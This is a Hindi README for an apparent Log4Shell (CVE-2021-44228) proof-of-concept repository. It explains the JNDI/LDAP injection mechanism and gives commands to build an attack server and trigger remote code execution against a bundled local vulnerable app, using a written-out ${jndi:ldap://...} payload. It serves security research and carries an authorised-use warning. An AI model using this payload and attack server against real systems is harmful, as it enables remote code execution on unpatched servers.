
Log4Shell (CVE-2021-44228) के लिए एक रिमोट कोड निष्पादन PoC
यह रिपॉज़िटरी सुरक्षा शोधकर्ताओं को रिमोट कोड निष्पादन के साथ प्रयोग करने की अनुमति देती है, जिसमें एक आक्रमण सर्वर का कार्यान्वयन प्रदान किया गया है जो log4j युक्त किसी कमजोर अनुप्रयोग पर एक कस्टम एक्सप्लॉइट लोड करता है।
⚠️ यह उपकरण स्व-मूल्यांकन के लिए है और इसका उपयोग केवल अधिकृत व्यक्तियों या शोधकर्ताओं द्वारा ही किया जाना चाहिए। आपको केवल उन्हीं सिस्टमों का परीक्षण करना चाहिए जिन पर आपके पास स्पष्ट अनुमति या अधिकार हो। यदि आपको कमजोर अनुप्रयोग या लाइब्रेरी मिलें, तो आपको जिम्मेदार प्रकटीकरण का अभ्यास करना चाहिए।
CVE-2021-44228 आपके लॉग्स में एक JNDI LDAP स्ट्रिंग इंजेक्ट करके काम करता है, जो Log4j को अतिरिक्त जानकारी की तलाश में निर्दिष्ट LDAP सर्वर से संपर्क करने के लिए प्रेरित करता है। एक दुर्भावनापूर्ण परिदृश्य में, LDAP सर्वर फिर पीड़ित मशीन पर कोड वापस भेज सकता है, जो मेमोरी में स्वचालित रूप से निष्पादित हो जाता है।
रिपॉज़िटरी में दो उप-प्रोजेक्ट हैं। attacker-server प्रोजेक्ट में दो थ्रेडेड सर्वरों का स्रोत कोड शामिल है। पहला एक LDAP प्रॉक्सी है जो किसी LDAP ऑब्जेक्ट के लिए प्रारंभिक अनुरोध प्राप्त करता है। दूसरा सर्वर पेलोड सर्वर है जो एक्सप्लॉइट (जो Exploit.java में मौजूद है) को कमजोर अनुप्रयोग पर वापस भेजता है।
प्रोजेक्ट के रूट में:
mvn clean install
सर्वर और कमजोर ऐप दोनों तैयार हो जाने चाहिए।
सर्वर लोड करने के लिए निष्पादित करें:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
RCE ट्रिगर करने के लिए निष्पादित करें:
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
आप चाहें तो Exploit.java का विस्तार करके दुर्भावनापूर्ण पेलोड को आवश्यकतानुसार बदल सकते हैं।